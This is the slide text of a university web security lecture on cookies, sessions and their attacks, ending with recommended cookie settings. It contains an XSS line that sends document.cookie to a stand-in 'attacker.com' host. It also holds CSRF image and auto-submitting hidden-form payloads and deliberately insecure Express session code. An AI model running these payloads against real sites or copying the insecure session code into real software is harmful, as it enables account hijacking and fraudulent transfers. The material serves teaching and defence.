

CS 253: Web Security

Cookie and Session Attacks

COOKIES! COOKIES! COOKIES!

#RETURNOFTHEMAC

Pop

Admin

- Assignment 0 is due Friday, October 4 at 5:00pm

Set-Cookie: theme=dark;

Header Name

Cookie Name

Cookie Value

Cookie: theme=dark;

Header Name

Cookie Name

Cookie Value

Sessions

- **Cookies** are used by the server to implement **sessions**
- **Goal:** Server keeps a set of data related to a user's current "browsing session"
- Examples
 - Logins
 - Shopping carts
 - User tracking

First HTTP request:

POST /login HTTP/1.1

Host: example.com

username=alice&password=password

HTTP response:

HTTP/1.1 200 OK

Set-Cookie: username=alice

Date: Tue, 24 Sep 2019 20:30:00 GMT

<!DOCTYPE html ...

All future HTTP requests:

GET /page.html HTTP/1.1

Host: example.com

Cookie: username=alice;

Ambient authority

- **Access control** - Regulate who can view resources or take actions
- **Ambient authority** - Access control based on a **global and persistent property** of the requester
 - The alternative is explicit authorization **valid only for a specific action**
- There are four types of ambient authority on the web
 - **Cookies** - most common, most versatile method
 - **IP checking** - used at Stanford for library resources
 - **Built-in HTTP authentication** - rarely used
 - **Client certificates** - rarely used

Demo: Sessions

Demo: Insecure Session 1

```
<!doctype html>
<html lang='en'>
  <head>
    <meta charset='utf-8' />
    <title>Example Bank</title>
  </head>
  <body>
    <form method='POST' action='/login'>
      Username:
      <input name='username' />
      Password:
      <input name='password' type='password' />
      <input type='submit' value='Login' />
    </form>
  </body>
</html>
```

Demo: Insecure Session 1

```
const express = require('express')
const cookieParser = require('cookie-parser')
const { createReadStream } = require('fs')
const bodyParser = require('body-parser')

const app = express()
app.use(cookieParser())
app.use(bodyParser.urlencoded({ extended: false }))

// Routes go here!

app.listen(4000)
```

Demo: Insecure Session 1

```
const USERS = { alice: 'password', bob: 'hunter2' }
const BALANCES = { alice: 500, bob: 100 }

app.get('/', (req, res) => {
  const username = req.cookies.username
  if (username) {
    res.send(`Hi ${username}. Your balance is ${BALANCES[username]}.`)
  } else {
    createReadStream('index.html').pipe(res)
  }
})

app.post('/login', (req, res) => {
  const username = req.body.username
  const password = USERS[username]
  if (password === req.body.password) {
    res.cookie('username', username)
    res.redirect('/')
  } else {
    res.send('fail!')
  }
})
```

Quick primer: Signature schemes

- Triple of algorithms (G , S , V)
 - $G() \rightarrow (pk, sk)$ - generator returns public key and secret key
 - $S(sk, x) \rightarrow t$ - signing returns a tag t for input x
 - $V(pk, x, t) \rightarrow \text{accept|reject}$ - checks validity of tag t for given input x
- Correctness property
 - $V(pk, x, S(sk, x)) = \text{accept}$ should always be true
- Security property
 - $V(pk, x, t) = \text{accept}$ should almost never be true when x and t are chosen by the attacker



Client

Server

Client

$G() \rightarrow (pk, sk)$

Server

Client

GET /login HTTP/1.1
username=alice&password=password



G() → (pk, sk)

Server

Client

GET /login HTTP/1.1
username=alice&password=password



$G() \rightarrow (pk, sk)$

Login info ok?

Server

Client

GET /login HTTP/1.1
username=alice&password=password



G() → (pk, sk)

Login info ok?

OK!

Server

Client

GET /login HTTP/1.1
username=alice&password=password



G() → (pk, sk)

Login info ok?

OK!

S(sk, 'alice') → t

Server

Client

GET /login HTTP/1.1
username=alice&password=password



G() → (pk, sk)

Login info ok?

OK!

S(sk, 'alice') → t

Server

Client

GET /login HTTP/1.1
username=alice&password=password



HTTP/1.1 200 OK
Set-Cookie: username=alice;
Set-Cookie: tag=t;

Server

G() → (pk, sk)

Login info ok?

OK!

S(sk, 'alice') → t



GET / HTTP/1.1
Cookie: username=alice; tag=t

Client

GET /login HTTP/1.1
username=alice&password=password



HTTP/1.1 200 OK
Set-Cookie: username=alice;
Set-Cookie: tag=t;

Server

G() → (pk, sk)

Login info ok?

OK!

S(sk, 'alice') → t

V(pk, 'alice', t) → ok?

Client

GET /login HTTP/1.1
username=alice&password=password



HTTP/1.1 200 OK
Set-Cookie: username=alice;
Set-Cookie: tag=t;



GET / HTTP/1.1
Cookie: username=alice; tag=t



G() → (pk, sk)

Login info ok?


OK!


S(sk, 'alice') → t

Server

V(pk, 'alice', t) → ok?

OK!





Demo: Insecure Session 2

```
app.use(cookieParser(COOKIE_SECRET))

app.get('/', (req, res) => {
  const username = req.signedCookies.username
  if (username) {
    res.send(`Hi ${username}. Your balance is $$BALANCES[username].`)
  } else {
    createReadStream('index.html').pipe(res)
  }
})

app.post('/login', (req, res) => {
  const username = req.body.username
  const password = USERS[username]
  if (password === req.body.password) {
    res.cookie('username', username, { signed: true })
    res.redirect('/')
  } else {
    res.send('fail!')
  }
})

app.get('/logout', (req, res) => {
  res.clearCookie('username')
  res.redirect('/')
})
```

Demo: Insecure Session 3

```
let nextSessionId = 1
const SESSIONS = {} // sessionId -> username

app.get('/', (req, res) => {
  const sessionId = req.cookies.sessionId
  const username = SESSIONS[sessionId]

  if (username) {
    res.send(`Hi ${username}. Your balance is $$BALANCES[username].`)
  } else {
    createReadStream('index.html').pipe(res)
  }
})

app.post('/login', (req, res) => {
  const username = req.body.username
  const password = USERS[username]
  if (password === req.body.password) {
    SESSIONS[nextSessionId] = username
    res.cookie('sessionId', nextSessionId)
    nextSessionId += 1
    res.redirect('/')
  } else {
    res.send('fail!')
  }
})

app.get('/logout', (req, res) => {
  const sessionId = req.cookies.sessionId
  delete SESSIONS[sessionId]
  res.clearCookie('sessionId')
  res.redirect('/')
})
```

Demo: Secure Session

```
const { randomBytes } = require('crypto')

const SESSIONS = {} // sessionId -> username

app.get('/', (req, res) => {
  const sessionId = req.cookies.sessionId
  const username = SESSIONS[sessionId]

  if (username) {
    res.send(`Hi ${username}. Your balance is ${BALANCES[username]}.`)
  } else {
    createReadStream('index.html').pipe(res)
  }
})

app.post('/login', (req, res) => {
  const username = req.body.username
  const password = USERS[username]
  if (password === req.body.password) {
    const sessionId = randomBytes(16).toString('hex')
    SESSIONS[sessionId] = username
    res.cookie('sessionId', sessionId)
    res.redirect('/')
  } else {
    res.send('fail!')
  }
})

app.get('/logout', (req, res) => {
  const sessionId = req.cookies.sessionId
  delete SESSIONS[sessionId]
  res.clearCookie('sessionId')
  res.redirect('/')
})
```

History of cookies

- Implemented in 1994 in Netscape and described in 4-page draft
- No spec for 17 years
 - Attempt made in 1997, but made incompatible changes
 - Another attempt in 2000 ("Cookie2"), same problem
 - Around 2011, another effort succeeded (RFC 6265)
- Ad-hoc design has led to *interesting* issues

Cookie attributes

- **Expires** - Specifies expiration date. If no date, then lasts for session
- **Path** - Scope the "Cookie" **header** to a particular request path prefix
 - e.g. **Path=/docs** will match **/docs** and **/docs/Web/**
 - Do not use for security
- **Domain** - Allows the cookie to be scoped to a domain broader than the domain that returned the **Set-Cookie** header
 - e.g. **login.stanford.edu** could set a cookie for **stanford.edu**

Set-Cookie: theme=dark; Expires=<date>;

Header Name

Cookie Name

Cookie Value

Attr. Name

Attr. Value

How long can cookies last?

- Sites can set **Expires** to a very far-future date and the cookie will last until the user clears it.
 - 2007: "The Google Blog announced that Google will be shortening the expiration date of its cookies from the year 2038 to a two-year life cycle." – Search Engine Land
- When **Expires** not specified, lasts for current browser session
 - Caveat: Browsers do session restoring, so can last way longer

How do you delete cookies?

- Set cookie with same name and an expiration date in the past
- Cookie value can be omitted

Set-Cookie: key=; Expires=Thu, 01 Jan 1970 00:00:00 GMT

Accessing Cookies from JS

```
document.cookie = 'name=Feross'  
document.cookie = 'favoriteFood=Cookies; Path=/'
```



```
document.cookie  
// name=Feross; favoriteFood=Cookies;
```

```
document.cookie = 'name=; Expires=Thu, 01 Jan 1970 00:00:00 GMT'
```

```
document.cookie  
// favoriteFood=Cookies;
```

Session hijacking


- Sending cookies over unencrypted HTTP is a very bad idea
 - If anyone sees the cookie, they can use it to hijack the user's session
 - Attacker sends victim's cookie as if it was their own
 - Server will be fooled
















Firesheep (2010)



Session hijacking mitigation

- Use **Secure** cookie attribute to prevent cookie from being sent over unencrypted HTTP connections

Set-Cookie: key=value; **Secure**

- Even better: Use HTTPS for entire website

Session hijacking via Cross Site Scripting (XSS)

- What if website is vulnerable to XSS?
 - Attacker can insert their code into the webpage
 - At this point, they can easily exfiltrate the user's cookie

```
new Image().src =  
'https://attacker.com/steal?cookie=' + document.cookie
```

- More on XSS next week!

Protect cookies from XSS

- Use **HttpOnly** cookie attribute to prevent cookie from being read from JavaScript

Set-Cookie: key=value; Secure; HttpOnly

Cookie Path bypass

- Do not use **Path** for security
- **Path** does not protect against unauthorized reading of the cookie from a different path on the same origin
 - Can be bypassed using an `<iframe>` with the path of the cookie
 - Then, read `iframe.contentDocument.cookie`
- This is allowed by Same Origin Policy (more on this next time!)
- Therefore, only use **Path** as a performance optimization

Demo: CS 106A attack

Demo: CS 106A attack

On CS 106A site:

```
document.cookie = 'sessionId=1234; Path=/class/cs106a/'
```

On CS 253 site:

```
const iframe = document.createElement('iframe')
iframe.src = 'https://web.stanford.edu/class/cs106a/'
document.body.appendChild(iframe)
console.log(iframe.contentDocument.cookie)
```

Make cookie Path secure?

- No solution! Always unsafe to rely on **Path**
- Cookies can only be accessed by equal or more-specific domains, so use a subdomain
- **cs106a.stanford.edu** vs. **cs253.stanford.edu**
 - Mutually exclusive
- **cs253.stanford.edu** vs. **stanford.edu**
 - Former can access latter's cookies. Reverse not true.
- **acm.stanford.edu** vs. **login.stanford.edu**
 - Mutually exclusive
- **hello.login.stanford.edu** vs. **login.stanford.edu**
 - Former can access latter's cookies. Reverse not true.

What to set cookie Path to?

- Just set it to **Path=/** and don't ever rely on it

Set-Cookie: key=value; Secure; HttpOnly; Path=/

- Why is this better than just omitting **Path**?

Problem with ambient authority

- Unclear which site initiated a request
- Consider this HTML embedded in **attacker.com**

```
<img src='https://bank.example.com/withdraw?from=bob&to=mallory&amount=1000'>
```

- Browser helpfully includes **bank.example.com** cookies in all requests to **bank.example.com**, even though the request originated from **attacker.com**

Cross-Site Request Forgery (CSRF)

- Attack that forces an end user to execute unwanted actions on a web app in which they're currently authenticated
- Normal users: CSRF attack can force user to perform requests like transferring funds, changing email address, etc.
- Admin users: CSRF attack can force admins to add new admin user, or in the worst case, run commands directly on the server
- Effective even when attacker can't see the HTTP response

Demo: Session fixation attack

Demo: Session fixation attack

attacker.html:

```
<h1>Cool cat site</h1>
<img src='cat.gif' />
<iframe src='attacker-frame.html' style='display: none'></iframe>
<script>
  const iframe = document.querySelector('iframe')
  iframe.addEventListener('load', () => {
    iframe.contentDocument.querySelector('form').submit()
  }, { once: true })
</script>
```

attacker-frame.html:

```
<form method='POST' action='http://localhost:4000/transfer'>
  <input name='amount' value='100' />
  <input name='to' value='alice' />
  <input type='submit' value='Send' />
</form>
```

Mitigate Cross-Site Request Forgery

- Idea: Can we remove cookie's "ambient authority"?

SameSite cookies

- Use **SameSite** cookie attribute to prevent cookie from being sent with requests initiated by other sites
 - **SameSite=None** - default, always send cookies
 - **SameSite=Lax** - withhold cookies on subresource requests originating from other sites, allow them on top-level requests
 - **SameSite=Strict** - only send cookies if the request originates from the website that set the cookie

Set-Cookie: `key=value; Secure; HttpOnly; Path=/; SameSite=Lax`

Proposal to make cookies **SameSite=Lax by default**

- "First, **cookies should be treated as "SameSite=Lax" by default.** Second, cookies that explicitly assert "SameSite=None" in order to enable cross-site delivery should also be marked as "Secure":¹
- Who would want to opt into **SameSite=None** cookies?

¹ <https://tools.ietf.org/html/draft-west-cookie-incrementalism-00>

How long should cookies last?

- Use a short expiration for your cookies
 - 30 days is reasonable
 - You can set the cookie with each response to restart the 30 day counter, so an active user won't ever be logged out, despite the short timeout

Set-Cookie: key=value; Secure; HttpOnly; Path=/;

SameSite=Lax; Expires=Fri, 1 Nov 2019 00:00:00 GMT

```
res.cookie('sessionId', sessionId, {  
  secure: true,  
  httpOnly: true,  
  sameSite: 'lax',  
  maxAge: 30 * 24 * 60 * 60 * 1000 // 30 days  
})
```

```
res.clearCookie('sessionId', {  
  secure: true,  
  httpOnly: true,  
  sameSite: 'lax'  
})
```

Final Thoughts

- Cookies are used to implement sessions
- Never trust data from the client!
- Ambient authority is useful but opens us up to additional risks
- **If you remember one thing:** set your cookies like this:

Set-Cookie: key=value; Secure; HttpOnly; Path=/;

SameSite=Lax; Expires=Fri, 1 Nov 2019 00:00:00 GMT

END